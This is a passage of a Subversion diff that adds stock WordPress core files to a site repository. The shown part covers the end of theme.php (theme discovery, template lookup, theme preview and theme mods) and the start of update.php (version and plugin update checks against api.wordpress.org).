+
+	if ( preg_match('|Tags:(.*)|i', $theme_data, $tags) )
+		$tags = array_map( 'trim', explode( ',', wp_kses( _cleanup_header_comment($tags[1]), array() ) ) );
+	else
+		$tags = array();
+
+	if ( preg_match( '|Author:(.*)$|mi', $theme_data, $author_name ) ) {
+		if ( empty( $author_uri ) ) {
+			$author = wp_kses( _cleanup_header_comment($author_name[1]), $themes_allowed_tags );
+		} else {
+			$author = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', $author_uri, __( 'Visit author homepage' ), wp_kses( _cleanup_header_comment($author_name[1]), $themes_allowed_tags ) );
+		}
+	} else {
+		$author = __('Anonymous');
+	}
+
+	return array( 'Name' => $name, 'Title' => $theme, 'URI' => $theme_uri, 'Description' => $description, 'Author' => $author, 'Version' => $version, 'Template' => $template, 'Status' => $status, 'Tags' => $tags );
+}
+
+/**
+ * Retrieve list of themes with theme data in theme directory.
+ *
+ * The theme is broken, if it doesn't have a parent theme and is missing either
+ * style.css and, or index.php. If the theme has a parent theme then it is
+ * broken, if it is missing style.css; index.php is optional. The broken theme
+ * list is saved in the {@link $wp_broken_themes} global, which is displayed on
+ * the theme list in the administration panels.
+ *
+ * @since 1.5.0
+ * @global array $wp_broken_themes Stores the broken themes.
+ * @global array $wp_themes Stores the working themes.
+ *
+ * @return array Theme list with theme data.
+ */
+function get_themes() {
+	global $wp_themes, $wp_broken_themes;
+
+	if ( isset($wp_themes) )
+		return $wp_themes;
+
+	$themes = array();
+	$wp_broken_themes = array();
+	$theme_loc = $theme_root = get_theme_root();
+	if ( '/' != WP_CONTENT_DIR ) // don't want to replace all forward slashes, see Trac #4541
+		$theme_loc = str_replace(WP_CONTENT_DIR, '', $theme_root);
+
+	// Files in wp-content/themes directory and one subdir down
+	$themes_dir = @ opendir($theme_root);
+	if ( !$themes_dir )
+		return false;
+
+	while ( ($theme_dir = readdir($themes_dir)) !== false ) {
+		if ( is_dir($theme_root . '/' . $theme_dir) && is_readable($theme_root . '/' . $theme_dir) ) {
+			if ( $theme_dir{0} == '.' || $theme_dir == '..' || $theme_dir == 'CVS' )
+				continue;
+			$stylish_dir = @ opendir($theme_root . '/' . $theme_dir);
+			$found_stylesheet = false;
+			while ( ($theme_file = readdir($stylish_dir)) !== false ) {
+				if ( $theme_file == 'style.css' ) {
+					$theme_files[] = $theme_dir . '/' . $theme_file;
+					$found_stylesheet = true;
+					break;
+				}
+			}
+			@closedir($stylish_dir);
+			if ( !$found_stylesheet ) { // look for themes in that dir
+				$subdir = "$theme_root/$theme_dir";
+				$subdir_name = $theme_dir;
+				$theme_subdir = @ opendir( $subdir );
+				while ( ($theme_dir = readdir($theme_subdir)) !== false ) {
+					if ( is_dir( $subdir . '/' . $theme_dir) && is_readable($subdir . '/' . $theme_dir) ) {
+						if ( $theme_dir{0} == '.' || $theme_dir == '..' || $theme_dir == 'CVS' )
+							continue;
+						$stylish_dir = @ opendir($subdir . '/' . $theme_dir);
+						$found_stylesheet = false;
+						while ( ($theme_file = readdir($stylish_dir)) !== false ) {
+							if ( $theme_file == 'style.css' ) {
+								$theme_files[] = $subdir_name . '/' . $theme_dir . '/' . $theme_file;
+								$found_stylesheet = true;
+								break;
+							}
+						}
+						@closedir($stylish_dir);
+					}
+				}
+				@closedir($theme_subdir);
+				$wp_broken_themes[$theme_dir] = array('Name' => $theme_dir, 'Title' => $theme_dir, 'Description' => __('Stylesheet is missing.'));
+			}
+		}
+	}
+	if ( is_dir( $theme_dir ) )
+		@closedir( $theme_dir );
+
+	if ( !$themes_dir || !$theme_files )
+		return $themes;
+
+	sort($theme_files);
+
+	foreach ( (array) $theme_files as $theme_file ) {
+		if ( !is_readable("$theme_root/$theme_file") ) {
+			$wp_broken_themes[$theme_file] = array('Name' => $theme_file, 'Title' => $theme_file, 'Description' => __('File not readable.'));
+			continue;
+		}
+
+		$theme_data = get_theme_data("$theme_root/$theme_file");
+
+		$name        = $theme_data['Name'];
+		$title       = $theme_data['Title'];
+		$description = wptexturize($theme_data['Description']);
+		$version     = $theme_data['Version'];
+		$author      = $theme_data['Author'];
+		$template    = $theme_data['Template'];
+		$stylesheet  = dirname($theme_file);
+
+		$screenshot = false;
+		foreach ( array('png', 'gif', 'jpg', 'jpeg') as $ext ) {
+			if (file_exists("$theme_root/$stylesheet/screenshot.$ext")) {
+				$screenshot = "screenshot.$ext";
+				break;
+			}
+		}
+
+		if ( empty($name) ) {
+			$name = dirname($theme_file);
+			$title = $name;
+		}
+
+		if ( empty($template) ) {
+			if ( file_exists(dirname("$theme_root/$theme_file/index.php")) )
+				$template = dirname($theme_file);
+			else
+				continue;
+		}
+
+		$template = trim($template);
+
+		if ( !file_exists("$theme_root/$template/index.php") ) {
+			$parent_dir = dirname(dirname($theme_file));
+			if ( file_exists("$theme_root/$parent_dir/$template/index.php") ) {
+				$template = "$parent_dir/$template";
+			} else {
+				$wp_broken_themes[$name] = array('Name' => $name, 'Title' => $title, 'Description' => __('Template is missing.'));
+				continue;
+			}
+		}
+
+		$stylesheet_files = array();
+		$template_files = array();
+
+		$stylesheet_dir = @ dir("$theme_root/$stylesheet");
+		if ( $stylesheet_dir ) {
+			while ( ($file = $stylesheet_dir->read()) !== false ) {
+				if ( !preg_match('|^\.+$|', $file) ) {
+					if ( preg_match('|\.css$|', $file) )
+						$stylesheet_files[] = "$theme_loc/$stylesheet/$file";
+					elseif ( preg_match('|\.php$|', $file) )
+						$template_files[] = "$theme_loc/$stylesheet/$file";
+				}
+			}
+			@ $stylesheet_dir->close();
+		}
+
+		$template_dir = @ dir("$theme_root/$template");
+		if ( $template_dir ) {
+			while ( ($file = $template_dir->read()) !== false ) {
+				if ( preg_match('|^\.+$|', $file) )
+					continue;
+				if ( preg_match('|\.php$|', $file) ) {
+					$template_files[] = "$theme_loc/$template/$file";
+				} elseif ( is_dir("$theme_root/$template/$file") ) {
+					$template_subdir = @ dir("$theme_root/$template/$file");
+					while ( ($subfile = $template_subdir->read()) !== false ) {
+						if ( preg_match('|^\.+$|', $subfile) )
+							continue;
+						if ( preg_match('|\.php$|', $subfile) )
+							$template_files[] = "$theme_loc/$template/$file/$subfile";
+					}
+					@ $template_subdir->close();
+				}
+			}
+			@ $template_dir->close();
+		}
+
+		$template_dir = dirname($template_files[0]);
+		$stylesheet_dir = dirname($stylesheet_files[0]);
+
+		if ( empty($template_dir) )
+			$template_dir = '/';
+		if ( empty($stylesheet_dir) )
+			$stylesheet_dir = '/';
+
+		// Check for theme name collision.  This occurs if a theme is copied to
+		// a new theme directory and the theme header is not updated.  Whichever
+		// theme is first keeps the name.  Subsequent themes get a suffix applied.
+		// The Default and Classic themes always trump their pretenders.
+		if ( isset($themes[$name]) ) {
+			if ( ('WordPress Default' == $name || 'WordPress Classic' == $name) &&
+					 ('default' == $stylesheet || 'classic' == $stylesheet) ) {
+				// If another theme has claimed to be one of our default themes, move
+				// them aside.
+				$suffix = $themes[$name]['Stylesheet'];
+				$new_name = "$name/$suffix";
+				$themes[$new_name] = $themes[$name];
+				$themes[$new_name]['Name'] = $new_name;
+			} else {
+				$name = "$name/$stylesheet";
+			}
+		}
+
+		$themes[$name] = array('Name' => $name, 'Title' => $title, 'Description' => $description, 'Author' => $author, 'Version' => $version, 'Template' => $template, 'Stylesheet' => $stylesheet, 'Template Files' => $template_files, 'Stylesheet Files' => $stylesheet_files, 'Template Dir' => $template_dir, 'Stylesheet Dir' => $stylesheet_dir, 'Status' => $theme_data['Status'], 'Screenshot' => $screenshot, 'Tags' => $theme_data['Tags']);
+	}
+
+	// Resolve theme dependencies.
+	$theme_names = array_keys($themes);
+
+	foreach ( (array) $theme_names as $theme_name ) {
+		$themes[$theme_name]['Parent Theme'] = '';
+		if ( $themes[$theme_name]['Stylesheet'] != $themes[$theme_name]['Template'] ) {
+			foreach ( (array) $theme_names as $parent_theme_name ) {
+				if ( ($themes[$parent_theme_name]['Stylesheet'] == $themes[$parent_theme_name]['Template']) && ($themes[$parent_theme_name]['Template'] == $themes[$theme_name]['Template']) ) {
+					$themes[$theme_name]['Parent Theme'] = $themes[$parent_theme_name]['Name'];
+					break;
+				}
+			}
+		}
+	}
+
+	$wp_themes = $themes;
+
+	return $themes;
+}
+
+/**
+ * Retrieve theme data.
+ *
+ * @since 1.5.0
+ *
+ * @param string $theme Theme name.
+ * @return array|null Null, if theme name does not exist. Theme data, if exists.
+ */
+function get_theme($theme) {
+	$themes = get_themes();
+
+	if ( array_key_exists($theme, $themes) )
+		return $themes[$theme];
+
+	return null;
+}
+
+/**
+ * Retrieve current theme display name.
+ *
+ * If the 'current_theme' option has already been set, then it will be returned
+ * instead. If it is not set, then each theme will be iterated over until both
+ * the current stylesheet and current template name.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_current_theme() {
+	if ( $theme = get_option('current_theme') )
+		return $theme;
+
+	$themes = get_themes();
+	$theme_names = array_keys($themes);
+	$current_template = get_option('template');
+	$current_stylesheet = get_option('stylesheet');
+	$current_theme = 'WordPress Default';
+
+	if ( $themes ) {
+		foreach ( (array) $theme_names as $theme_name ) {
+			if ( $themes[$theme_name]['Stylesheet'] == $current_stylesheet &&
+					$themes[$theme_name]['Template'] == $current_template ) {
+				$current_theme = $themes[$theme_name]['Name'];
+				break;
+			}
+		}
+	}
+
+	update_option('current_theme', $current_theme);
+
+	return $current_theme;
+}
+
+/**
+ * Retrieve path to themes directory.
+ *
+ * Does not have trailing slash.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'theme_root' filter on path.
+ *
+ * @return string Theme path.
+ */
+function get_theme_root() {
+	return apply_filters('theme_root', WP_CONTENT_DIR . "/themes");
+}
+
+/**
+ * Retrieve URI for themes directory.
+ *
+ * Does not have trailing slash.
+ *
+ * @since 1.5.0
+ *
+ * @return string Themes URI.
+ */
+function get_theme_root_uri() {
+	return apply_filters('theme_root_uri', content_url('themes'), get_option('siteurl'));
+}
+
+/**
+ * Retrieve path to file without the use of extension.
+ *
+ * Used to quickly retrieve the path of file without including the file
+ * extension. It will also check the parent template, if the file exists, with
+ * the use of {@link locate_template()}. Allows for more generic file location
+ * without the use of the other get_*_template() functions.
+ *
+ * Can be used with include() or require() to retrieve path.
+ * <code>
+ * if( '' != get_query_template( '404' ) )
+ *     include( get_query_template( '404' ) );
+ * </code>
+ * or the same can be accomplished with
+ * <code>
+ * if( '' != get_404_template() )
+ *     include( get_404_template() );
+ * </code>
+ *
+ * @since 1.5.0
+ *
+ * @param string $type Filename without extension.
+ * @return string Full path to file.
+ */
+function get_query_template($type) {
+	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );
+	return apply_filters("{$type}_template", locate_template(array("{$type}.php")));
+}
+
+/**
+ * Retrieve path of 404 template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_404_template() {
+	return get_query_template('404');
+}
+
+/**
+ * Retrieve path of archive template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_archive_template() {
+	return get_query_template('archive');
+}
+
+/**
+ * Retrieve path of author template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_author_template() {
+	return get_query_template('author');
+}
+
+/**
+ * Retrieve path of category template in current or parent template.
+ *
+ * Works by retrieving the current category ID, for example 'category-1.php' and
+ * will fallback to category.php template, if the ID category file doesn't
+ * exist.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'category_template' on file path of category template.
+ *
+ * @return string
+ */
+function get_category_template() {
+	$template = locate_template(array("category-" . absint( get_query_var('cat') ) . '.php', 'category.php'));
+	return apply_filters('category_template', $template);
+}
+
+/**
+ * Retrieve path of tag template in current or parent template.
+ *
+ * Works by retrieving the current tag name, for example 'tag-wordpress.php' and will
+ * fallback to tag.php template, if the name tag file doesn't exist.
+ *
+ * @since 2.3.0
+ * @uses apply_filters() Calls 'tag_template' on file path of tag template.
+ *
+ * @return string
+ */
+function get_tag_template() {
+	$template = locate_template(array("tag-" . get_query_var('tag') . '.php', 'tag.php'));
+	return apply_filters('tag_template', $template);
+}
+
+/**
+ * Retrieve path of taxonomy template in current or parent template.
+ *
+ * Retrieves the taxonomy and term, if term is available. The template is
+ * prepended with 'taxonomy-' and followed by both the taxonomy string and
+ * the taxonomy string followed by a dash and then followed by the term.
+ *
+ * The taxonomy and term template is checked and used first, if it exists.
+ * Second, just the taxonomy template is checked, and then finally, taxonomy.php
+ * template is used. If none of the files exist, then it will fall back on to
+ * index.php.
+ *
+ * @since unknown (2.6.0 most likely)
+ * @uses apply_filters() Calls 'taxonomy_template' filter on found path.
+ *
+ * @return string
+ */
+function get_taxonomy_template() {
+	$taxonomy = get_query_var('taxonomy');
+	$term = get_query_var('term');
+
+	$templates = array();
+	if ( $taxonomy && $term )
+		$templates[] = "taxonomy-$taxonomy-$term.php";
+	if ( $taxonomy )
+		$templates[] = "taxonomy-$taxonomy.php";
+
+	$templates[] = "taxonomy.php";
+
+	$template = locate_template($templates);
+	return apply_filters('taxonomy_template', $template);
+}
+
+/**
+ * Retrieve path of date template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_date_template() {
+	return get_query_template('date');
+}
+
+/**
+ * Retrieve path of home template in current or parent template.
+ *
+ * Attempts to locate 'home.php' first before falling back to 'index.php'.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'home_template' on file path of home template.
+ *
+ * @return string
+ */
+function get_home_template() {
+	$template = locate_template(array('home.php', 'index.php'));
+	return apply_filters('home_template', $template);
+}
+
+/**
+ * Retrieve path of page template in current or parent template.
+ *
+ * First attempt is to look for the file in the '_wp_page_template' page meta
+ * data. The second attempt, if the first has a file and is not empty, is to
+ * look for 'page.php'.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_page_template() {
+	global $wp_query;
+
+	$id = (int) $wp_query->post->ID;
+	$template = get_post_meta($id, '_wp_page_template', true);
+
+	if ( 'default' == $template )
+		$template = '';
+
+	$templates = array();
+	if ( !empty($template) && !validate_file($template) )
+		$templates[] = $template;
+
+	$templates[] = "page.php";
+
+	return apply_filters('page_template', locate_template($templates));
+}
+
+/**
+ * Retrieve path of paged template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_paged_template() {
+	return get_query_template('paged');
+}
+
+/**
+ * Retrieve path of search template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_search_template() {
+	return get_query_template('search');
+}
+
+/**
+ * Retrieve path of single template in current or parent template.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_single_template() {
+	return get_query_template('single');
+}
+
+/**
+ * Retrieve path of attachment template in current or parent template.
+ *
+ * The attachment path first checks if the first part of the mime type exists.
+ * The second check is for the second part of the mime type. The last check is
+ * for both types separated by an underscore. If neither are found then the file
+ * 'attachment.php' is checked and returned.
+ *
+ * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and
+ * finally 'text_plain.php'.
+ *
+ * @since 2.0.0
+ *
+ * @return string
+ */
+function get_attachment_template() {
+	global $posts;
+	$type = explode('/', $posts[0]->post_mime_type);
+	if ( $template = get_query_template($type[0]) )
+		return $template;
+	elseif ( $template = get_query_template($type[1]) )
+		return $template;
+	elseif ( $template = get_query_template("$type[0]_$type[1]") )
+		return $template;
+	else
+		return get_query_template('attachment');
+}
+
+/**
+ * Retrieve path of comment popup template in current or parent template.
+ *
+ * Checks for comment popup template in current template, if it exists or in the
+ * parent template. If it doesn't exist, then it retrieves the comment-popup.php
+ * file from the default theme. The default theme must then exist for it to
+ * work.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'comments_popup_template' filter on path.
+ *
+ * @return string
+ */
+function get_comments_popup_template() {
+	$template = locate_template(array("comments-popup.php"));
+	if ('' == $template)
+		$template = get_theme_root() . '/default/comments-popup.php';
+
+	return apply_filters('comments_popup_template', $template);
+}
+
+/**
+ * Retrieve the name of the highest priority template file that exists.
+ *
+ * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which
+ * inherit from a parent theme can just overload one file.
+ *
+ * @since 2.7.0
+ *
+ * @param array $template_names Array of template files to search for in priority order.
+ * @param bool $load If true the template file will be loaded if it is found.
+ * @return string The template filename if one is located.
+ */
+function locate_template($template_names, $load = false) {
+	if (!is_array($template_names))
+		return '';
+
+	$located = '';
+	foreach($template_names as $template_name) {
+		if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
+			$located = STYLESHEETPATH . '/' . $template_name;
+			break;
+		} else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
+			$located = TEMPLATEPATH . '/' . $template_name;
+			break;
+		}
+	}
+
+	if ($load && '' != $located)
+		load_template($located);
+
+	return $located;
+}
+
+/**
+ * Require once the template file with WordPress environment.
+ *
+ * The globals are set up for the template file to ensure that the WordPress
+ * environment is available from within the function. The query variables are
+ * also available.
+ *
+ * @since 1.5.0
+ *
+ * @param string $_template_file Path to template file.
+ */
+function load_template($_template_file) {
+	global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;
+
+	if ( is_array($wp_query->query_vars) )
+		extract($wp_query->query_vars, EXTR_SKIP);
+
+	require_once($_template_file);
+}
+
+/**
+ * Display localized stylesheet link element.
+ *
+ * @since 2.1.0
+ */
+function locale_stylesheet() {
+	$stylesheet = get_locale_stylesheet_uri();
+	if ( empty($stylesheet) )
+		return;
+	echo '<link rel="stylesheet" href="' . $stylesheet . '" type="text/css" media="screen" />';
+}
+
+/**
+ * Start preview theme output buffer.
+ *
+ * Will only preform task if the user has permissions and template and preview
+ * query variables exist.
+ *
+ * @since 2.5.0
+ */
+function preview_theme() {
+	if ( ! (isset($_GET['template']) && isset($_GET['preview'])) )
+		return;
+
+	if ( !current_user_can( 'switch_themes' ) )
+		return;
+
+	$_GET['template'] = preg_replace('|[^a-z0-9_./-]|i', '', $_GET['template']);
+
+	if ( validate_file($_GET['template']) )
+		return;
+
+	add_filter( 'template', create_function('', "return '{$_GET['template']}';") );
+
+	if ( isset($_GET['stylesheet']) ) {
+		$_GET['stylesheet'] = preg_replace('|[^a-z0-9_./-]|i', '', $_GET['stylesheet']);
+		if ( validate_file($_GET['stylesheet']) )
+			return;
+		add_filter( 'stylesheet', create_function('', "return '{$_GET['stylesheet']}';") );
+	}
+
+	// Prevent theme mods to current theme being used on theme being previewed
+	add_filter( 'pre_option_mods_' . get_current_theme(), create_function( '', "return array();" ) );
+
+	ob_start( 'preview_theme_ob_filter' );
+}
+add_action('setup_theme', 'preview_theme');
+
+/**
+ * Callback function for ob_start() to capture all links in the theme.
+ *
+ * @since unknown
+ * @access private
+ *
+ * @param string $content
+ * @return string
+ */
+function preview_theme_ob_filter( $content ) {
+	return preg_replace_callback( "|(<a.*?href=([\"']))(.*?)([\"'].*?>)|", 'preview_theme_ob_filter_callback', $content );
+}
+
+/**
+ * Manipulates preview theme links in order to control and maintain location.
+ *
+ * Callback function for preg_replace_callback() to accept and filter matches.
+ *
+ * @since unknown
+ * @access private
+ *
+ * @param array $matches
+ * @return string
+ */
+function preview_theme_ob_filter_callback( $matches ) {
+	if ( strpos($matches[4], 'onclick') !== false )
+		$matches[4] = preg_replace('#onclick=([\'"]).*?(?<!\\\)\\1#i', '', $matches[4]); //Strip out any onclicks from rest of <a>. (?<!\\\) means to ignore the '" if its escaped by \  to prevent breaking mid-attribute.
+	if (
+		( false !== strpos($matches[3], '/wp-admin/') )
+	||
+		( false !== strpos($matches[3], '://') && 0 !== strpos($matches[3], get_option('home')) )
+	||
+		( false !== strpos($matches[3], '/feed/') )
+	||
+		( false !== strpos($matches[3], '/trackback/') )
+	)
+		return $matches[1] . "#$matches[2] onclick=$matches[2]return false;" . $matches[4];
+
+	$link = add_query_arg( array('preview' => 1, 'template' => $_GET['template'], 'stylesheet' => @$_GET['stylesheet'] ), $matches[3] );
+	if ( 0 === strpos($link, 'preview=1') )
+		$link = "?$link";
+	return $matches[1] . esc_attr( $link ) . $matches[4];
+}
+
+/**
+ * Switches current theme to new template and stylesheet names.
+ *
+ * @since unknown
+ * @uses do_action() Calls 'switch_theme' action on updated theme display name.
+ *
+ * @param string $template Template name
+ * @param string $stylesheet Stylesheet name.
+ */
+function switch_theme($template, $stylesheet) {
+	update_option('template', $template);
+	update_option('stylesheet', $stylesheet);
+	delete_option('current_theme');
+	$theme = get_current_theme();
+	do_action('switch_theme', $theme);
+}
+
+/**
+ * Checks that current theme files 'index.php' and 'style.css' exists.
+ *
+ * Does not check the 'default' theme. The 'default' theme should always exist
+ * or should have another theme renamed to that template name and directory
+ * path. Will switch theme to default if current theme does not validate.
+ * You can use the 'validate_current_theme' filter to return FALSE to
+ * disable this functionality.
+ *
+ * @since 1.5.0
+ *
+ * @return bool
+ */
+function validate_current_theme() {
+	// Don't validate during an install/upgrade.
+	if ( defined('WP_INSTALLING') || !apply_filters( 'validate_current_theme', true ) )
+		return true;
+
+	if ( get_template() != 'default' && !file_exists(get_template_directory() . '/index.php') ) {
+		switch_theme('default', 'default');
+		return false;
+	}
+
+	if ( get_stylesheet() != 'default' && !file_exists(get_template_directory() . '/style.css') ) {
+		switch_theme('default', 'default');
+		return false;
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve theme modification value for the current theme.
+ *
+ * If the modification name does not exist, then the $default will be passed
+ * through {@link http://php.net/sprintf sprintf()} PHP function with the first
+ * string the template directory URI and the second string the stylesheet
+ * directory URI.
+ *
+ * @since 2.1.0
+ * @uses apply_filters() Calls 'theme_mod_$name' filter on the value.
+ *
+ * @param string $name Theme modification name.
+ * @param bool|string $default
+ * @return string
+ */
+function get_theme_mod($name, $default = false) {
+	$theme = get_current_theme();
+
+	$mods = get_option("mods_$theme");
+
+	if ( isset($mods[$name]) )
+		return apply_filters( "theme_mod_$name", $mods[$name] );
+
+	return apply_filters( "theme_mod_$name", sprintf($default, get_template_directory_uri(), get_stylesheet_directory_uri()) );
+}
+
+/**
+ * Update theme modification value for the current theme.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name Theme modification name.
+ * @param string $value theme modification value.
+ */
+function set_theme_mod($name, $value) {
+	$theme = get_current_theme();
+
+	$mods = get_option("mods_$theme");
+
+	$mods[$name] = $value;
+
+	update_option("mods_$theme", $mods);
+	wp_cache_delete("mods_$theme", 'options');
+}
+
+/**
+ * Remove theme modification name from current theme list.
+ *
+ * If removing the name also removes all elements, then the entire option will
+ * be removed.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name Theme modification name.
+ * @return null
+ */
+function remove_theme_mod( $name ) {
+	$theme = get_current_theme();
+
+	$mods = get_option("mods_$theme");
+
+	if ( !isset($mods[$name]) )
+		return;
+
+	unset($mods[$name]);
+
+	if ( empty($mods) )
+		return remove_theme_mods();
+
+	update_option("mods_$theme", $mods);
+	wp_cache_delete("mods_$theme", 'options');
+}
+
+/**
+ * Remove theme modifications option for current theme.
+ *
+ * @since 2.1.0
+ */
+function remove_theme_mods() {
+	$theme = get_current_theme();
+
+	delete_option("mods_$theme");
+}
+
+/**
+ * Retrieve text color for custom header.
+ *
+ * @since 2.1.0
+ * @uses HEADER_TEXTCOLOR
+ *
+ * @return string
+ */
+function get_header_textcolor() {
+	return get_theme_mod('header_textcolor', HEADER_TEXTCOLOR);
+}
+
+/**
+ * Display text color for custom header.
+ *
+ * @since 2.1.0
+ */
+function header_textcolor() {
+	echo get_header_textcolor();
+}
+
+/**
+ * Retrieve header image for custom header.
+ *
+ * @since 2.1.0
+ * @uses HEADER_IMAGE
+ *
+ * @return string
+ */
+function get_header_image() {
+	return get_theme_mod('header_image', HEADER_IMAGE);
+}
+
+/**
+ * Display header image path.
+ *
+ * @since 2.1.0
+ */
+function header_image() {
+	echo get_header_image();
+}
+
+/**
+ * Add callbacks for image header display.
+ *
+ * The parameter $header_callback callback will be required to display the
+ * content for the 'wp_head' action. The parameter $admin_header_callback
+ * callback will be added to Custom_Image_Header class and that will be added
+ * to the 'admin_menu' action.
+ *
+ * @since 2.1.0
+ * @uses Custom_Image_Header Sets up for $admin_header_callback for administration panel display.
+ *
+ * @param callback $header_callback Call on 'wp_head' action.
+ * @param callback $admin_header_callback Call on administration panels.
+ */
+function add_custom_image_header($header_callback, $admin_header_callback) {
+	if ( ! empty($header_callback) )
+		add_action('wp_head', $header_callback);
+
+	if ( ! is_admin() )
+		return;
+	require_once(ABSPATH . 'wp-admin/custom-header.php');
+	$GLOBALS['custom_image_header'] =& new Custom_Image_Header($admin_header_callback);
+	add_action('admin_menu', array(&$GLOBALS['custom_image_header'], 'init'));
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/update.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/update.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/update.php	(revision 44)
@@ -0,0 +1,313 @@
+<?php
+/**
+ * A simple set of functions to check our version 1.0 update service.
+ *
+ * @package WordPress
+ * @since 2.3.0
+ */
+
+/**
+ * Check WordPress version against the newest version.
+ *
+ * The WordPress version, PHP version, and Locale is sent. Checks against the
+ * WordPress server at api.wordpress.org server. Will only check if WordPress
+ * isn't installing.
+ *
+ * @package WordPress
+ * @since 2.3.0
+ * @uses $wp_version Used to check against the newest WordPress version.
+ *
+ * @return mixed Returns null if update is unsupported. Returns false if check is too soon.
+ */
+function wp_version_check() {
+	if ( defined('WP_INSTALLING') )
+		return;
+
+	global $wp_version, $wpdb, $wp_local_package;
+	$php_version = phpversion();
+
+	$current = get_transient( 'update_core' );
+	if ( ! is_object($current) ) {
+		$current = new stdClass;
+		$current->updates = array();
+		$current->version_checked = $wp_version;
+	}
+
+	$locale = apply_filters( 'core_version_check_locale', get_locale() );
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current->last_checked = time();
+	set_transient( 'update_core', $current );
+
+	if ( method_exists( $wpdb, 'db_version' ) )
+		$mysql_version = preg_replace('/[^0-9.].*/', '', $wpdb->db_version($wpdb->users));
+	else
+		$mysql_version = 'N/A';
+	$local_package = isset( $wp_local_package )? $wp_local_package : '';
+	$url = "http://api.wordpress.org/core/version-check/1.3/?version=$wp_version&php=$php_version&locale=$locale&mysql=$mysql_version&local_package=$local_package";
+
+	$options = array(
+		'timeout' => 3,
+		'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
+	);
+
+	$response = wp_remote_get($url, $options);
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	if ( 200 != $response['response']['code'] )
+		return false;
+
+	$body = trim( $response['body'] );
+	$body = str_replace(array("\r\n", "\r"), "\n", $body);
+	$new_options = array();
+	foreach( explode( "\n\n", $body ) as $entry) {
+		$returns = explode("\n", $entry);
+		$new_option = new stdClass();
+		$new_option->response = esc_attr( $returns[0] );
+		if ( isset( $returns[1] ) )
+			$new_option->url = esc_url( $returns[1] );
+		if ( isset( $returns[2] ) )
+			$new_option->package = esc_url( $returns[2] );
+		if ( isset( $returns[3] ) )
+			$new_option->current = esc_attr( $returns[3] );
+		if ( isset( $returns[4] ) )
+			$new_option->locale = esc_attr( $returns[4] );
+		$new_options[] = $new_option;
+	}
+
+	$updates = new stdClass();
+	$updates->updates = $new_options;
+	$updates->last_checked = time();
+	$updates->version_checked = $wp_version;
+	set_transient( 'update_core',  $updates);
+}
+
+/**
+ * Check plugin versions against the latest versions hosted on WordPress.org.
+ *
+ * The WordPress version, PHP version, and Locale is sent along with a list of
+ * all plugins installed. Checks against the WordPress server at
+ * api.wordpress.org. Will only check if WordPress isn't installing.
+ *
+ * @package WordPress
+ * @since 2.3.0
+ * @uses $wp_version Used to notidy the WordPress version.
+ *
+ * @return mixed Returns null if update is unsupported. Returns false if check is too soon.
+ */
+function wp_update_plugins() {
+	global $wp_version;
+
+	if ( defined('WP_INSTALLING') )
+		return false;
+
+	// If running blog-side, bail unless we've not checked in the last 12 hours
+	if ( !function_exists( 'get_plugins' ) )
+		require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
+
+	$plugins = get_plugins();
+	$active  = get_option( 'active_plugins' );
+	$current = get_transient( 'update_plugins' );
+	if ( ! is_object($current) )
+		$current = new stdClass;
+
+	$new_option = new stdClass;
+	$new_option->last_checked = time();
+	$timeout = 'load-plugins.php' == current_filter() ? 3600 : 43200; //Check for updated every 60 minutes if hitting the themes page, Else, check every 12 hours
+	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );
+
+	$plugin_changed = false;
+	foreach ( $plugins as $file => $p ) {
+		$new_option->checked[ $file ] = $p['Version'];
+
+		if ( !isset( $current->checked[ $file ] ) || strval($current->checked[ $file ]) !== strval($p['Version']) )
+			$plugin_changed = true;
+	}
+
+	if ( isset ( $current->response ) && is_array( $current->response ) ) {
+		foreach ( $current->response as $plugin_file => $update_details ) {
+			if ( ! isset($plugins[ $plugin_file ]) ) {
+				$plugin_changed = true;
+				break;
+			}
+		}
+	}
+
+	// Bail if we've checked in the last 12 hours and if nothing has changed
+	if ( $time_not_changed && !$plugin_changed )
+		return false;
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current->last_checked = time();
+	set_transient( 'update_plugins', $current );
+
+	$to_send = (object)compact('plugins', 'active');
+
+	$options = array(
+		'timeout' => 3,
+		'body' => array( 'plugins' => serialize( $to_send ) ),
+		'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
+	);
+
+	$raw_response = wp_remote_post('http://api.wordpress.org/plugins/update-check/1.0/', $options);
+
+	if ( is_wp_error( $raw_response ) )
+		return false;
+
+	if( 200 != $raw_response['response']['code'] )
+		return false;
+
+	$response = unserialize( $raw_response['body'] );
+
+	if ( false !== $response )
